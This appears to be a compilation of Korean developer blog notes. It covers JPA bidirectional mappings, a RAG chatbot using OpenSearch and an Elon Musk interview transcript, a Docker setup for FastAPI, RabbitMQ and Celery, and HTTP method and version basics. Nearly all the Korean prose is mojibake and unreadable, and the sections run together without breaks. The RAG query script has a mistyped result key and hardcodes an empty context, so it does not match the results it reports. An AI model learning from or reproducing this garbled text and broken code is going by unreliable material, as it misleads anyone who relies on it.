JoinColumn(name="", referencedColumnName="") ์ธ๋ ํค๋ฅผ ๋งคํํ ๋ ์ฌ์ฉ name: ๋งคํํ ์ธ๋ ํค ์ด๋ฆ referencedColumnName: ์ธ๋ ํค๊ฐ ์ฐธ์กฐํ๋ ๋์ ํ
์ด๋ธ์ ์ปฌ๋ผ๋ช
์์ - ์ฐ๊ด๊ด๊ณ ํธ์ ๋ฉ์๋ ์๋ฐฉํฅ ์ฐ๊ด๊ด๊ณ์์ ํ์ชฝ์๋ง ์ค์ ํ๋ฉด ์์ชฝ ๋ค ์ค์ ํด์ฃผ๋ ๋ฉ์๋๋ฅผ ๋ง๋ค ์ ์๋ค
์๋ฐฉํฅ ์ฐ๊ด๊ด๊ณ์ ๊ทธ ํธ์๋ฉ์๋๋ฅผ ์ ์ํ ์ฝ๋์ด๋ค
Member.java
1@OneToMany(mappedBy = "member") 2private List<Order> orders = new ArrayList<>(); 3 4public void addOrder(Order order) { 5 this.orders.add(order); 6 order.setMember(this); 7} Order.java
1@ManyToOne 2@JoinColumn(name="member_id", referencedColumnName = "id") 3private Member member; 4 5public void setMember(Member member) { 6 if (this.member != null) { 7 this.member.getOrders().remove(this); 8 } 9 this.member = member; 10 member.getOrders().add(this); 11} RAG (Retrieval-Augmented Generation) ์ด๋ก ์ ๋ฆฌ RAG๋ ๊ฒ์๊ณผ ์์ฑ์ ๊ฒฐํฉํ ๋ชจ๋ธ๋ก, ๊ฒ์์ ํตํด ์ป์ ์ ๋ณด๋ฅผ ๋ฐํ์ผ๋ก ์์ฑ์ ์ํํ๋ ๋ชจ๋ธ
LLM์ ๋ฌธ์ ์
ํ ๋ฃจ์๋ค์ด์
: ์์ฑ ๋ชจ๋ธ์ด ํ๋ จ ๋ฐ์ดํฐ์ ์๋ ๋ด์ฉ์ ์์ฑํ๋ ํ์ ์ต์ ์ ์๋ต์ ๊ธฐ๋ํ๋ ์ํฉ์์ ์ค๋๋์๊ฑฐ๋ ์ผ๋ฐ์ ์ธ ์ ๋ณด๋ฅผ ์์ฑํ๋ ๋ฌธ์ ์ ๋ขฐํ ์ ์๋ ์ถ์ฒ๋ก๋ถํฐ ์ ๋ณด๋ฅผ ์์ฑํ๋ ๋ฌธ์ RAG๋ ์์์ ์์ ํ LLM ๋ฌธ์ ์ ์ผ๋ถ๋ฅผ ํด๊ฒฐํ๊ธฐ ์ํด ์ฌ์ฉํ ์ ์๋ ์๋จ์ด๋ค.
OpenSearch OpenSearch๋ ์คํ์์ค ๊ฒ์ ๋ฐ ๋ถ์ ์์ง์ผ๋ก, ์๋ผ์คํฑ์์น์ ํฌํฌ ๋ฒ์
๋ฒกํฐ ๋ฐ์ดํฐ๋ฒ ์ด์ค : ๋ฒกํฐ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๊ณ ์ฟผ๋ฆฌํ ์ ์๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค
์ฃผ์ ๊ธฐ๋ฅ
๋ถ์ฐ ๊ฒ์ ๋ฐ ๋ถ์ ๋ณด์ ์๊ฐํ์ ๋์๋ณด๋ ์ง์ index์ document
index : ๋ฐ์ดํฐ๋ฒ ์ด์ค document : ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ ์ฅ๋๋ ๋ฐ์ดํฐ ๋ถ์ ๋ถ์๊ธฐ Analyzer (Character Filter + Tokenizer + Token Filter) ํ
์คํธ๋ฅผ ํ ํฐํํ๊ณ ํํฐ๋งํ๋ ๊ณผ์ ์ ์ํ
๋ถ์ ๊ณผ์ Character Filter ํน์ ๋ฌธ์๋ฅผ ์ ๊ฑฐํ๊ฑฐ๋ ๋ณ๊ฒฝํ๋ ๋ฑ์ ์์
์ ์ํ
Tokenizer ๊ธฐ๋ณธ์ ์ผ๋ก ๊ณต๋ฐฑ์ ๊ธฐ์ค์ผ๋ก ํ
์คํธ๋ฅผ ๋ถ๋ฆฌ
Token Filter ํ ํฐ์ ์ถ๊ฐํ๊ฑฐ๋ ์ ๊ฑฐํ๋ ๋ฑ์ ์์
์ ์ํ
OpenSearch์์ ์ง์ํ๋ ์์ Tokenizer Standard Tokenizer : ๊ณต๋ฐฑ์ ๊ธฐ์ค์ผ๋ก ํ
์คํธ๋ฅผ ๋ถ๋ฆฌ, ๋ฌธ์ฅ ๋ถํธ ์ญ์ Letter Tokenizer : ๋ฌธ์๋ฅผ ๊ธฐ์ค์ผ๋ก ํ
์คํธ๋ฅผ ๋ถ๋ฆฌ Whitespace Tokenizer : ๊ณต๋ฐฑ์ ๊ธฐ์ค์ผ๋ก ํ
์คํธ๋ฅผ ๋ถ๋ฆฌ Ngram Tokenizer : ๋ถ๋ถ ๋ฌธ์์ด๋ก ํ
์คํธ๋ฅผ ๋ถ๋ฆฌ Token Filter Standard Token Filter : ์๋ฌด๊ฒ๋ ํ์ง ์์ Lowercase Token Filter : ํ
์คํธ๋ฅผ ์๋ฌธ์๋ก ๋ณํ Synonym Token Filter : ๋์์ด ์ฒ๋ฆฌ Analyzer Standard Analyzer : Standard Tokenizer + Standard Token Filter Simple Analyzer : Letter Tokenizer + Lowercase Token Filter Whitespace Analyzer : Whitespace Tokenizer + Lowercase Token Filter OpenSearch ์ ๊ทผ์ ์ํ cURL ๋ช
๋ น์ด ์ธ๋ฑ์ค ์กฐํ 1curl -X GET -u {username}:{password} \ 2"http://localhost:9200/_cat/indices" ํน์ ์ธ๋ฑ์ค ์กฐํ 1curl -X GET -u {username}:{password} \ 2"http://localhost:9200/{index_name}" ์ ์ฒด ๊ฒ์ ๊ฒฐ๊ณผ ์กฐํ 1curl -X GET -u {username}:{password} \ 2"http://localhost:9200/{index_name}/_search" ํน์ ๊ฒ์์ด๋ก ๊ฒ์ํ ๊ฒฐ๊ณผ ์กฐํ 1curl -X GET -u {username}:{password} \ 2"http://localhost:9200/{index_name}/_search" \ 3-H "Content-Type: application/json" \ 4-d '{"query": {"match": {"field": "value"}}}' ์ธ๋ฑ์ค ์ญ์ 1curl -X DELETE -u {username}:{password} \ 2"http://localhost:9200/{index_name}" OpenSearch๋ฅผ ํ์ฉํ Rag ์ค์ต ๋ฐฐ๊ฒฝ ํ
์ปค ๋ถํธ์บ ํ์์ ํํ๋ก์ ํธ๋ฅผ ์งํ ์ค์ด๋ค. ์ฐ๋ฆฌ ํ์ ์ฃผ์ ๋ ํน์ ์ธ๋ฌผ์๊ฒ ์๋ด์ ๋ฐ๋ ๊ฒ ๊ฐ์ ๋ํ๋ฅผ ํ ์ ์๋ ์ฑ๋ด์ ๋ง๋๋ ๊ฒ์ด๋ค. ์ด๋ฅผ ์ํด ํน์ ์ธ๋ฌผ์ด ํ๋ ๋ง์ ๋ชจ์ ๋ฐ์ดํฐ์
์ผ๋ก ๋ง๋ค๊ณ ์ด๋ฅผ RAG ๋ชจ๋ธ์ ์ ์ฉ์ํค๋ ค๊ณ ํ๋ค. ์์ ์ผ๋ก ๋จธ์คํฌ๊ฐ TED์์ ํ ์ธํฐ๋ทฐ๋ฅผ ํ
์คํธ๋ก ๊ฐ์ ธ์จ๋ค. OpenSearch ๋์ปค ์ปจํ
์ด๋๋ฅผ ์คํํ๋ค. ํ
์คํธ ๋ฐ์ดํฐ๋ฅผ ์๋ฒ ๋ฉํด์ OpenSearch์ ์ ์ฅํ๋ค. RAG ๋ชจ๋ธ์ด OpenSearch๋ฅผ ์ฟผ๋ฆฌํ์ฌ ๋๋ต์ ์์ฑํ๋ค. 1. ์ผ๋ก ๋จธ์คํฌ ์ธํฐ๋ทฐ ํ
์คํธ ๊ฐ์ ธ์ค๊ธฐ ์ ํ๋ธ์์ “์คํฌ๋ฆฝํธ ๋ณด๊ธฐ"๋ฅผ ํตํด ์ธํฐ๋ทฐ ์๋ง์ ๊ฐ์ ธ์จ๋ค.
122:03 2EM: ์ด ํฐ ํธ๋ญ์ ๋ชฐ๋ฉด์ ๋ง๋ ์๋๋ ์์ง์์ ๋ณด์์ฃ . 3CA: ์์ฃผ ๋ฉ์ง๋ค์. ์, ๊ทธ๋ผ ์ ๋ง ๊ต์ฅํ ์ฌ์ง์์ 422:09 5์กฐ๊ธ์ ๋ ๊ต์ฅํ ์ฌ์ง์ ๋ณด์ฃ . "์๊ธฐ์ ์ฃผ๋ถ๋ค"์ธ๊ฐ์์ ๋์ค๋ ๊ท์ฌ์ด ์ง ์ฌ์ง์ธ๋ฐ์. 622:15 7์ด๊ฒ ๊ฐ์๊ธฐ ์ ๋์จ๊ฑฐ์ฃ ? 8... ์ผ๋ก ๋จธ์คํฌ๊ฐ ํ ๋ง๋ง ์์ ์ ๋ฆฌํ๋ค.
1๋ค. ์ ์ค์ค๋ก๋ ๊ทธ ์ง๋ฌธ์ ์์ฃผ ํ๋ ํธ์
๋๋ค. 2์ ํฌ๋ LA์ ์งํ์ ๊ตฌ๋ฉ์ ๋ด๋ ค๊ณ ํ๋๋ฐ์. ์ด๋ ๊ตํต ์ฒด์ฆ์ ์ํ์ํค๊ธฐ ์ํ 33์ฐจ์ ๋คํธ์ํฌ์ ํฐ๋์ด ๋ ์๋ ์๋ ์๋ฐ์ ์ ๋ง๋ค๊ธฐ ์ํจ์
๋๋ค. 4๊ตํต ์ฒด์ฆ์ ์ค๋๋ ์ฐ๋ฆฌ์ ์ํผ์ ํํ ํฐ๋ ๋ฌธ์ ์ค์ ํ๋์
๋๋ค. 5์ธ๊ณ ๋ชจ๋ ์ฌ๋๋ค์๊ฒ ์ํฅ์ ๋ผ์น๊ณ ์์ฃ . ์ธ์์์ ๋๋ฌด๋ ๋ง์ ๋ถ๋ถ์ ๊ฐ์ ธ๊ฐ๋๋ค. 6... 2. OpenSearch ๋์ปค ์ปจํ
์ด๋ ์คํ 1docker create -it -p 9200:9200 -p 9600:9600 -e OPENSEARCH_INITIAL_ADMIN_PASSWORD={password} -e "discovery.type=single-node" -v opensearch_vol:/usr/share/opensearch/data --name opensearch opensearchproject/opensearch ์ค๋ช
-p 9200:9200 : OpenSearch HTTP ํฌํธ -p 9600:9600 : OpenSearch ๋ชจ๋ํฐ๋ง ํฌํธ -e OPENSEARCH_INITIAL_ADMIN_PASSWORD={password} : ์ด๊ธฐ ๋น๋ฐ๋ฒํธ ์ค์ -e “discovery.type=single-node” : ๋จ์ผ ๋
ธ๋๋ก ์คํ -v opensearch_vol:/usr/share/opensearch/data : ๋ฐ์ดํฐ ๋ณผ๋ฅจ ๋ง์ดํธ SSL ์ค๋ฅ ๋ฐ์๊ณผ ํด๊ฒฐ ํ์ง๋ง ์ ๋ช
๋ น์ด๋ก ์คํํ๋ฉด ์ปจํ
์ด๋ ๋ด๋ถ์์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ค
12024-07-05 22:15:12 Caused by: io.netty.handler.ssl.NotSslRecordException: not an SSL/TLS record: ... 22024-07-05 22:15:12 at io.netty.handler.ssl.SslHandler.decodeJdkCompatible(SslHandler.java:1314) ~[netty-handler-4.1.110.Final.jar:4.1.110.Final] 32024-07-05 22:15:12 at io.netty.handler.ssl.SslHandler.decode(SslHandler.java:1387) ~[netty-handler-4.1.110.Final.jar:4.1.110.Final] 42024-07-05 22:15:12 at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) ~[netty-codec-4.1.110.Final.jar:4.1.110.Final] 52024-07-05 22:15:12 at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) ~[netty-codec-4.1.110.Final.jar:4.1.110.Final] 62024-07-05 22:15:12 ... 16 more ํ๋ก์ ํธ ๊ธฐ๊ฐ์ด ๊ธธ์ง ์๊ณ , ํด๋น ํฌํธ๋ ์ธ๋ถ์ ๋
ธ์ถํ ํ์๊ฐ ์์ผ๋ฏ๋ก SSL์ ๋๊ณ ์คํํ๋ ๊ฒ์ผ๋ก ํด๊ฒฐํ์๋ค.
1/usr/share/opensearch/config/opensearch.yml 2# ๋ณ๊ฒฝ ์ 3plugins.security.ssl.http.enabled: true 4# ๋ณ๊ฒฝ ํ 5plugins.security.ssl.http.enabled: false 3. ํ
์คํธ ๋ฐ์ดํฐ ์๋ฒ ๋ฉ ๋ฐ OpenSearch์ ์ ์ฅ RAG ์ธ์
์ ํด์ฃผ์ ๋ฉํ ๋์ด ์ง์ค ์ฝ๋๋ฅผ ์ ๊ทน! ์ฐธ๊ณ ํ์ฌ ์์ฑํ์๋ค.
OpenSearch ์ธ๋ฑ์ค ์์ฑ 1from opensearchpy import OpenSearch 2import torch 3from transformers import AutoTokenizer, AutoModel 4from langchain.text_splitter import RecursiveCharacterTextSplitter 5from langchain_community.document_loaders import TextLoader 6from langchain_community.vectorstores import OpenSearchVectorSearch 7 8INDEX_NAME = "elon_musk" 9FILE_NAME = "ted_elon_musk_script.txt" 10 11## OpenSearch ์ฐ๊ฒฐ ์ค์ 12client = OpenSearch( 13 hosts=[{"host": "localhost", "port": 9200}], http_auth=("admin", {password}) 14) 15 16## ํ
์คํธ ๋ฐ์ดํฐ ๋ถ๋ฌ์ค๊ธฐ 17loader = TextLoader(file_path=FILE_NAME, encoding="utf-8") 18docs = loader.load() 19 20text_splitter = RecursiveCharacterTextSplitter( 21 chunk_size=100, 22 chunk_overlap=0, 23 separators=["\n"], 24 length_function=len, 25) 26 27documents = text_splitter.split_documents(docs) 28 29# print(documents) 30 31## Embedding ๋ชจ๋ธ ์ ์ 32class MyEmbeddingModel: 33 def __init__(self, model_name): 34 self.tokenizer = AutoTokenizer.from_pretrained(model_name) 35 self.model = AutoModel.from_pretrained(model_name) 36 37 def embed_documents(self, doc): 38 inputs = self.tokenizer( 39 doc, return_tensors="pt", padding=True, truncation=True, max_length=512 40 ) 41 42 with torch.no_grad(): 43 outputs = self.model(**inputs) 44 embeddings = outputs.last_hidden_state.mean(dim=1).tolist() 45 46 return embeddings 47 48 def embed_query(self, text): 49 inputs = self.tokenizer( 50 [text], padding=True, truncation=True, return_tensors="pt", max_length=512 51 ) 52 with torch.no_grad(): 53 outputs = self.model(**inputs) 54 embeddings = outputs.last_hidden_state.mean(dim=1).tolist() 55 return embeddings 56 57 58## index ๊ตฌ์กฐ ์ ์ 59index_body = { 60 "settings": { 61 "analysis": { 62 "tokenizer": { 63 "nori_user_dict": { 64 "type": "nori_tokenizer", 65 "decompound_mode": "mixed", 66 "user_dictionary": "user_dic.txt", 67 } 68 }, 69 "analyzer": { 70 "korean_anlyzer": { 71 "filter": [ 72 "synonym", "lowercase", 73 ], 74 "tokenizer": "nori_user_dict", 75 } 76 }, 77 "filter": { 78 "synonym" :{ 79 "type": "synonym_graph", 80 "synonyms_path" : "synonyms.txt" 81 } 82 } 83 } 84 } 85} 86 87## Embedding ๋ชจ๋ธ ์์ฑ 88my_embedding = MyEmbeddingModel("monologg/kobert") 89 90## OpenSearch์ ๋ฐ์ดํฐ ์ฝ์
91vector_db = OpenSearchVectorSearch.from_documents( 92 index_name=INDEX_NAME, 93 body=index_body, 94 documents=documents, 95 embedding=my_embedding, 96 op_type="create", 97 opensearch_url="http://localhost:9200", 98 http_auth=("admin", {password}), 99 use_ssl=False, 100 verify_certs=False, 101 ssl_assert_hostname=False, 102 ssl_show_warn=False, 103 bulk_size=1000000, 104 timeout=360000, 105) 106 107result = vector_db.add_documents(documents, bulk_size=1000000) tokenizer๋ ํ๊ตญ์ด๋ฅผ ์ง์ํ๋ “nori_tokenizer"๋ฅผ ์ฌ์ฉํ์๋ค. embedding ๋ชจ๋ธ์ ์ ๊ฑฐ ๋ง๊ณ ๋ ์ฌ๋ฌ๊ฐ์ง๊ฐ ์กด์ฌํ๋๋ฐ, ์ด๋ค ๋ชจ๋ธ์ด ํ๋ก์ ํธ์ ๊ฐ์ฅ ๋ถํฉํ๋ ๋ชจ๋ธ์ธ์ง๋ ์คํ์ ํด๋ณผ ๊ฒ์ด๋ค. curl์ ํตํด localhost:9200/elon_musk/_search๋ก ์์ฒญ์ ๋ณด๋ด ์๋ฒ ๋ฉํ ๋ฐ์ดํฐ๊ฐ ์ ๋ค์ด๊ฐ๋์ง ํ์ธํ ์ ์๋ค. 4. RAG ๋ชจ๋ธ์ด OpenSearch๋ฅผ ์ฟผ๋ฆฌํ์ฌ ๋๋ต ์์ฑ 1from langchain.prompts import PromptTemplate 2from langchain.chains import LLMChain 3from langchain_openai import ChatOpenAI 4from opensearchpy import OpenSearch 5import os 6 7INDEX_NAME = "elon_musk" 8 9# ํ๊ฒฝ๋ณ์ ์ค์ 10os.environ["OPENAI_API_KEY"] = {api_key} 11 12llm = ChatOpenAI( 13 model_name="gpt-3.5-turbo", 14) 15 16prompt_template = PromptTemplate( 17 input_variables=["context", "question"], 18 template=""" 19Imagine you are {character_name}, 20a wise and experienced advisor. Given the context: "{context}", 21how would you respond to this inquiry: "{question}"?', 22(in korean) 23""", 24) 25 26 27llm_chain = LLMChain(llm=llm, prompt=prompt_template) 28 29client = OpenSearch( 30 hosts=["http://localhost:9200"], 31 http_auth=("admin", {password}), 32 use_ssl=False, 33 verify_certs=False, 34 ssl_assert_hostname=False, 35 ssl_show_warn=False, 36) 37 38def search_documents(query): 39 search_body = {"query": {"match": {"text": query}}} 40 response = client.search(index=INDEX_NAME, body=search_body) 41 hits = response["`its"]["hits"] 42 return [hit["_source"]["text"] for hit in hits] 43 44if __name__ == "__main__": 45 question = input("Enter your question\n") 46 search_results = search_documents(question) 47 48 print(search_results) 49 50 # context = " ".join(search_results) 51 context = "" 52 53 response = llm_chain.invoke({"character_name": INDEX_NAME, "context": context, "question": question}) 54 55 print (response["text"]) OpenSearch์ ์ ์ฅ๋ ๋ฐ์ดํฐ๋ฅผ ์ฟผ๋ฆฌํ์ฌ RAG ๋ชจ๋ธ์ ๋ฃ์ด ๋๋ต์ ์์ฑํ๋ค. search_documents ํจ์๋ฅผ ํตํด OpenSearch์ ์ฟผ๋ฆฌ๋ฅผ ๋ณด๋ด๊ณ , ๊ทธ ๊ฒฐ๊ณผ๋ฅผ context๋ก ์ฌ์ฉํ๋ค. ๊ฒฐ๊ณผ ์ง๋ฌธ ํ
์ฌ๋ผ์ ๋ํด์ ์ด๋ป๊ฒ ์๊ฐํด?
RAG๋ฅผ ์ฌ์ฉํ์ง ์์์ ๋์ ๋๋ต ํ
์ฌ๋ผ๋ ํ์ ์ ์ธ ๊ธฐ์
์ผ๋ก์ ๋ฏธ๋๋ฅผ ํฅํ ๋น์ ์ ๊ฐ์ง๊ณ ์์ต๋๋ค. ๊ทธ๋ค์ ์ ๊ธฐ ์๋์ฐจ ๊ธฐ์ ๊ณผ ์๋์ง ์๋ฃจ์
์ ์ ์ธ๊ณ์ ์ผ๋ก ์ฃผ๋ชฉ๋ฐ๊ณ ์์ต๋๋ค. ํ
์ฌ๋ผ์ ํ์ ์ ์ธ ์ ๊ทผ ๋ฐฉ์๊ณผ ์ง์ ๊ฐ๋ฅํ ๋น์ฆ๋์ค ๋ชจ๋ธ์ ๋ํด ๋งค์ฐ ๊ธ์ ์ ์ผ๋ก ์๊ฐํ๊ณ ์์ต๋๋ค.
RAG๋ฅผ ์ฌ์ฉํ ๋ ์ ์ฉ๋ context [‘๊ธธ๊ฒ ๊ฐ ๊ฒ ๊ฐ์ง๋ ์์์.\n๊ทธ๋ฌ๋ค์. ์ ๋ ์ต๋ํ ์ค๋ซ๋์ ํ
์ฌ๋ผ์ ๋จธ๋ฌผ ์๊ฐ์ด์์.\n๊ทธ๋ฆฌ๊ณ ์ค๋น ์ค์ ์๋ ํฅ๋ฏธ๋ก์ด ์ผ๋ ๋ง๊ณ ์. ์์๋ค์ํผ, ๋ชจ๋ธ 3์ด ์ถ์ ์์ ์ด๊ณ ์.’, ‘์ฌํด ๋ง๊น์ง LA์์ ๋ด์๊น์ง\n์์ ์์จ ์ฃผํ์ผ๋ก ํก๋จํ๋ ๊ณํ์ ๋ง์ถฐ์ ์งํ ์ค์ด์์.\n์ฌ๋์ด ํ
์ฌ๋ผ์ ํ์ ์ด์ ๋๋ฅผ ์ก์ง ์๊ณ “๋ด์"์ ์ฐ์ผ๋ฉด ๊ทธ๋ฆฌ๋ก ๊ฐ๋ค๋ ๋ง์ด๋ค์.’, ‘๊ธธ๊ฒ ๊ฐ ๊ฒ ๊ฐ์ง๋ ์์์.\n๊ทธ๋ฌ๋ค์. ์ ๋ ์ต๋ํ ์ค๋ซ๋์ ํ
์ฌ๋ผ์ ๋จธ๋ฌผ ์๊ฐ์ด์์.\n๊ทธ๋ฆฌ๊ณ ์ค๋น ์ค์ ์๋ ํฅ๋ฏธ๋ก์ด ์ผ๋ ๋ง๊ณ ์. ์์๋ค์ํผ, ๋ชจ๋ธ 3์ด ์ถ์ ์์ ์ด๊ณ ์.’, ‘์ฌํด ๋ง๊น์ง LA์์ ๋ด์๊น์ง\n์์ ์์จ ์ฃผํ์ผ๋ก ํก๋จํ๋ ๊ณํ์ ๋ง์ถฐ์ ์งํ ์ค์ด์์.\n์ฌ๋์ด ํ
์ฌ๋ผ์ ํ์ ์ด์ ๋๋ฅผ ์ก์ง ์๊ณ “๋ด์"์ ์ฐ์ผ๋ฉด ๊ทธ๋ฆฌ๋ก ๊ฐ๋ค๋ ๋ง์ด๋ค์.’]
RAG๋ฅผ ์ฌ์ฉํ ๋์ ๋๋ต ์ ๋ ํ
์ฌ๋ผ๋ฅผ ๋งค์ฐ ๊ธ์ ์ ์ผ๋ก ์๊ฐํฉ๋๋ค. ํ
์ฌ๋ผ๋ ํ์ ์ ์ธ ๊ธฐ์ ๊ณผ ์ง์ ๊ฐ๋ฅํ ๋ฏธ๋๋ฅผ ์ํ ๋น์ ์ ๊ฐ์ถ ๊ธฐ์
์ผ๋ก์, ์์จ ์ฃผํ ๊ธฐ์ ์ ํตํด ์ฐ๋ฆฌ์ ์ถ์ ํ์ ํ๊ณ ์์ต๋๋ค. ๋ํ, ์ ๊ธฐ์ฐจ ์์ฅ์ ์ ๋ํ๊ณ ํ๊ฒฝ์ ์นํ์ ์ธ ์ฐจ๋์ ์ ๊ณตํ๋ ๋ฉ์ง ๊ธฐ์
์ด๋ผ๊ณ ์๊ฐํฉ๋๋ค. ํ
์ฌ๋ผ์ ๋ฏธ๋๊ฐ ๋ฐ๊ณ ํฅ๋ฏธ๋ก์ด ์ผ๋ค์ด ๊ณ์ํด์ ์ผ์ด๋ ๊ฒ์ด๋ผ๊ณ ๋ฏฟ์ต๋๋ค.
๊ณ ์ฐฐ ํ์คํ RAG๋ฅผ ์ฌ์ฉํ์ง ์์์ ๋๋ ๊ฐ๊ด์ ์ด๊ณ ์ผ๋ฐ์ ์ธ ๋๋ต์ ํ๋ ๋ฐ๋ฉด, RAG๋ฅผ ์ฌ์ฉํ ๋๋ ํ
์ฌ๋ผ์ ๋ํด ๊ธ์ ์ ์ธ ์ผ๋ก ๋จธ์คํฌ์ ๋๋ต๊ณผ, ์์จ์ฃผํ ๊ธฐ์ ์ ์ธ๊ธํ๋ค๋ ๊ฒ์ ๋ฐ์ํ์ฌ ๋๋ต์ ์์ฑํ์๋ค. ๋ฐฐ๊ฒฝ ํ
์ปค ๋ถํธ์บ ํ์์ ํํ๋ก์ ํธ๋ฅผ ์งํ ์ค์ด๋ค. ์น์์ผ์ ํตํด ํด๋ผ์ด์ธํธ๋ก๋ถํฐ ๋ฐ์ ๋ฐ์ดํฐ๋ฅผ gpt๋ฅผ ํตํด ์ฒ๋ฆฌํ๊ณ , ๊ฒฐ๊ณผ๋ฅผ ๋ค์ ํด๋ผ์ด์ธํธ๋ก ๋ณด๋ด๋ ์๋น์ค๋ฅผ ๊ตฌํํ๊ณ ์๋ค. ์ฌ๋ฌ ์ฌ์ฉ์์ ์์ฒญ์ ์ํํ๊ฒ ์ฒ๋ฆฌํ๊ธฐ ์ํด ๋ถ์ฐ ๋น๋๊ธฐ ์์คํ
์ ๊ตฌ์ถํ๋ ค๊ณ ํ๋ค. ๋ชฉํ Fastapi, RabbitMQ, Celery๋ฅผ ๊ฐ์ docker ์ปจํ
์ด๋๋ก ๊ตฌ๋์ํค๊ณ ์ฐ๋ํ๋ค. docker-compose.yml 1version: '3' 2 3services: 4 rabbitmq: 5 image: rabbitmq:3 6 ports: 7 - "5672:5672" # RabbitMQ์ AMQP ํฌํธ 8 - "15672:15672" # RabbitMQ ๊ด๋ฆฌ ์ธํฐํ์ด์ค ํฌํธ 9 volumes: 10 - rabbitmq_data:/var/lib/rabbitmq 11 expose: 12 - "5672" 13 - "15672" 14 15 celery_worker: 16 build: 17 context: . 18 dockerfile: Dockerfile.worker 19 command: celery -A utils.celery_worker worker --loglevel=info 20 working_dir: /app 21 volumes: 22 - ./app/utils:/app/utils 23 environment: 24 - CELERY_BROKER_URL=amqp://guest:guest@rabbitmq:5672// 25 depends_on: 26 - rabbitmq 27 28 celery_beat: 29 image: celery:4 30 command: celery -A celery_beat beat --loglevel=info 31 working_dir: /app 32 environment: 33 - CELERY_BROKER_URL=amqp://guest:guest@rabbitmq:5672// 34 volumes: 35 - ./app/utils:/app 36 depends_on: 37 - rabbitmq 38 39 web: 40 image: python:slim 41 working_dir: /app 42 # interactive mode 43 stdin_open: true 44 # tty mode 45 tty: true 46 environment: 47 - CELERY_BROKER_URL=amqp://guest:guest@rabbitmq:5672// 48 volumes: 49 - ./app:/app 50 ports: 51 - "8000:8000" 52 depends_on: 53 - rabbitmq 54 - celery_worker 55 - celery_beat 56 57volumes: 58 rabbitmq_data: Celery worker์๋ง Dockerfile.worker๋ฅผ ์ด๋ฏธ์ง๋ก ์ฌ์ฉํ ์ด์ worker์ ์ถ๊ฐ์ ์ผ๋ก python ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ค์นํด์ผํจ Celery ๊ณต์ ๋์ปค ์ด๋ฏธ์ง๊ฐ deprecated ๋์์. Fastapi๋ ์๊ฐ ๊ด๊ณ์ ๋ฐ๋ก ์ด๋ฏธ์ง๋ฅผ ๋ง๋ค์ง ์๊ณ python:slim ์ด๋ฏธ์ง๋ฅผ ์ฌ์ฉํ๋ค. Dockerfile.worker 1FROM python:slim 2 3# ํ์ํ ํจํค์ง ์ค์น 4# ffmpeg๊ฐ ํ์ํด์ ์ถ๊ฐํ์๋ค 5RUN apt-get update && \ 6apt-get install -y --no-install-recommends gcc libpq-dev ffmpeg && \ 7rm -rf /var/lib/apt/lists/* 8 9# ํ์ํ ํ์ด์ฌ ํจํค์ง ์ค์น 10COPY requirements_celery_worker.txt ./ 11RUN pip install --no-cache-dir -r requirements_celery_worker.txt celery_worker.py 1import os 2from celery import Celery 3 4broker_url = os.getenv('CELERY_BROKER_URL') 5app = Celery('worker', broker=broker_url, backend="rpc://") 6 7@app.task 8def add(x, y): 9 return x + y broker_url์ RabbitMQ์ AMQP ์ฃผ์๋ฅผ ์๋ฏธํ๋ค. backend๋ ๊ฒฐ๊ณผ๋ฅผ ๋ฐ๊ธฐ ์ํ ๋ฐฑ์๋๋ก RabbitMQ๋ฅผ ์ฌ์ฉํ๋ค. Celery worker ์ฌ์ฉ ๋ฐฉ๋ฒ 1from celery_worker import add 2 3# task๋ฅผ ๋น๋๊ธฐ๋ก ์คํ 4result = add.delay(4, 4) 5 6# apply_async๋ delay์ ๋์ผํ ๊ธฐ๋ฅ ์ํ 7# delay์ ๋ฌ๋ฆฌ ์ถ๊ฐ๋ก ์ฌ๋ฌ ์ต์
์ ์ค์ ๊ฐ๋ฅ 8result = add.apply_async((4, 4)) 9 10# ๊ฒฐ๊ณผ๋ฅผ ๋ฐ๊ธฐ ์ํด get()์ ์ฌ์ฉ, ๋ธ๋กํน ํธ์ถ 11result.get() 12 13# ์์
์ด ์๋ฃ๋์๋์ง ํ์
14result.ready() 15 16# ์์
์ด ์คํจํ๋์ง ํ์ธ 17result.successful() 18# or 19result.failed() 20 21# ์์
์ ์ํ ํ์ธ (PENDING, STARTED, SUCCESS, FAILURE) 22result.state() HTTP HTTP Method Method request payload response payload idempotent GET Optional O O HEAD Optional O O POST Yes O X PUT Yes O O DELETE Optional O O CONNECT Optional O X OPTIONS Optional O O TRACE Optional O O PATCH Yes O X HTTP Protocol Version HTTP/1.0 ์ฐ๊ฒฐ๋ฐฉ์ : non-persistent HTTP TCP ์ฐ๊ฒฐ ํ๋ฒ์ ์ต๋ ํ๋์ ๊ฐ์ฒด ๊ฐ ๊ฐ์ฒด๋น 2๊ฐ์ RTT๊ฐ ํ์ HTTP/1.1 ์ฐ๊ฒฐ๋ฐฉ์ : persistent HTTP ์ด์ TCP ์ฐ๊ฒฐ์ ์ฌ์ฌ์ฉ -> ์๋ณต์ง์ฐ์๊ฐ ๊ฐ์ (Connection: Keep-Alive) Pipelining์ผ๋ก ๋ณ๋ ฌ ์์ฒญ๊ณผ ์๋ต (์: HTML+CSS) 1๊ฐ์ TCP์์ ๊ฐ์ฒด๊ฐ ์์ฐจ์ ์ผ๋ก ์ ์ก -> Head-of-line(HoL) ํ์ ๋ฐ์ ์ฌ๋ฌ ๊ฐ์ TCP ์ฐ๊ฒฐ์ ํ์ฉ - ๋ธ๋ผ์ฐ์ ์์ ๋๋ฉ์ธ๋น ์ฐ๊ฒฐ ์ ์ ํ ๋๋ฉ์ธ ์ค๋ฉ(Domain Sharding) : ์ฐ๊ฒฐ ์ ํ์ ํผํ๊ธฐ ์ํด ๋๋ฉ์ธ ์๋ฒ๋ฅผ ์ฌ๋ฌ ๊ฐ ๋๊ธฐ (HTTP/2์์๋ X) HTTP/2 ๋ฐ์ด๋๋ฆฌ ํ๋ ์: ์ฐ์ ์์, ํ๋ฆ์ ์ด, ์๋ฒ ํธ์ ์ฐ์ ์์ ์ง์ : ์ฝํ
